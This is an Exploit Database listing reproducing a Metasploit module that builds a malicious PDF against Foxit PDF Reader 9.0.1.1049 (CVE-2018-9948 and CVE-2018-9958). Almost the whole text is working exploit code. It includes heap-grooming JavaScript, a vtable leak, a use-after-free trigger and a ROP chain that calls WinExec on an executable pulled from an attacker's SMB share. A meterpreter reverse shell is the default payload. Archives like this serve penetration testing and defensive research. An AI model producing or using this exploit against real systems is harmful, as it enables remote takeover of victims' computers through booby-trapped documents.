Foxit PDF Reader 9.0.1.1049 – Pointer Overwrite Use-After-Free (Metasploit)

Exploit Database
111 阅读

作者： Metasploit

日期： 2018-08-27
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/45269/

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# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info={})

super(update_info(info,

'Name' => 'Foxit PDF Reader Pointer Overwrite UAF',

'Description' => %q{

Foxit PDF Reader v9.0.1.1049 has a Use-After-Free vulnerability

in the Text Annotations component and the TypedArray's use

uninitialized pointers.

The vulnerabilities can be combined to leak a vtable memory address,

which can be adjusted to point to the base address of the executable.

A ROP chain can be constructed that will execute when Foxit Reader

performs the UAF.

'License' => MSF_LICENSE,

'Author' =>

[

'mr_me',# Use-after-free and PoC

'bit from meepwn',# Uninitialized pointer

'saelo',# JavaScript Garbage Collector

'Jacob Robles'# Metasploit Module

'References' =>

[

['CVE', '2018-9948'],

['CVE', '2018-9958'],

['ZDI', '18-332'],

['ZDI', '18-342'],

['URL', 'https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html'],

['URL', 'https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt']

'DefaultOptions' =>

{

'DisablePayloadHandler' => true,

'FILENAME' => 'test.pdf',

'PAYLOAD' => 'windows/meterpreter/reverse_tcp'

'Platform' => 'win',

'Targets' =>

[

['Windows 10 Pro x64 Build 17134', {}]

'DisclosureDate' => 'Apr 20 2018',

'DefaultTarget' => 0))

register_options([

OptString.new('EXENAME', [false, 'EXE file to download', '']),

OptString.new('SHARE', [false, 'SMB share hosting exe', ''])

])

end

def pdfdoc

share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']

fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']

fname << '.exe' unless fname.ends_with?('.exe')

share_path = "\\\\#{datastore['LHOST']}\\#{share}\\#{fname}"

num = 4 - (share_path.length % 4)

share_path << "\x00"*num

return nil if share_path.length > 44

print_status("share_path: #{share_path}")

rop = ''

max_index = 0

share_path.unpack('V*').each_with_index {|blk, index|

rop << "\nrop[0x%02x] = 0x%08x" % [index+12, blk]

max_index = index

}

(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000" % (i+12)}

<<~PDFDOC

%PDF

1 0 obj

<</Pages 1 0 R /OpenAction 2 0 R>>

2 0 obj

<</S /JavaScript /JS (

var heap_ptr = 0;

var foxit_base = 0;

var pwn_array= [];

function prepare_heap(size){

var arr = new Array(size);

for(var i = 0; i < size; i++){

arr[i] = this.addAnnot({type: "Text"});;

if (typeof arr[i] == "object"){

arr[i].destroy();

}

function gc() {

const maxMallocBytes = 128 * 0x100000;

for (var i = 0; i < 3; i++) {

var x = new ArrayBuffer(maxMallocBytes);

}

function alloc_at_leak(){

for (var i = 0; i < 0x64; i++){

pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));

}

function control_memory(){

for (var i = 0; i < 0x64; i++){

for (var j = 0; j < pwn_array[i].length; j++){

pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4

}

function leak_vtable(){

var a = this.addAnnot({type: "Text"});

a.destroy();

gc();

prepare_heap(0x400);

var test = new ArrayBuffer(0x60);

var stolen = new Int32Array(test);

var leaked = stolen[0] & 0xffff0000;

foxit_base = leaked - 0x01f50000;

}

function leak_heap_chunk(){

var a = this.addAnnot({type: "Text"});

a.destroy();

prepare_heap(0x400);

var test = new ArrayBuffer(0x60);

var stolen = new Int32Array(test);

alloc_at_leak();

heap_ptr = stolen[1];

}

function reclaim(){

var arr = new Array(0x10);

for (var i = 0; i < arr.length; i++) {

arr[i] = new ArrayBuffer(0x60);

var rop = new Int32Array(arr[i]);

rop[0x00] = heap_ptr;// pointer to our stack pivot from the TypedArray leak

rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret

rop[0x02] = 0x72727272;// junk

rop[0x03] = foxit_base + 0x00001450// pop ebp; ret

rop[0x04] = 0xffffffff;// ret of WinExec

rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret

rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec

rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret

rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret

rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret

rop[0x0a] = foxit_base + 0x0041c6ca; // ret

rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret

#{rop}

rop[0x17] = 0x00000000;// adios, amigo

}

function trigger_uaf(){

var that = this;

var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});

var arr = [1];

Object.defineProperties(arr,{

"0":{

get: function () {

that.getAnnot(0, "uaf").destroy();

reclaim();

return 1;

}

});

a.point = arr;

}

function main(){

leak_heap_chunk();

leak_vtable();

control_memory();

trigger_uaf();

}

if (app.platform == "WIN"){

if (app.isFoxit == "Foxit Reader"){

if (app.appFoxitVersion == "9.0.1.1049"){

main();

}

)>> trailer <</Root 1 0 R>>

PDFDOC

end

def exploit

mypdf = pdfdoc

if mypdf.nil?

fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')

end

file_create(mypdf)

end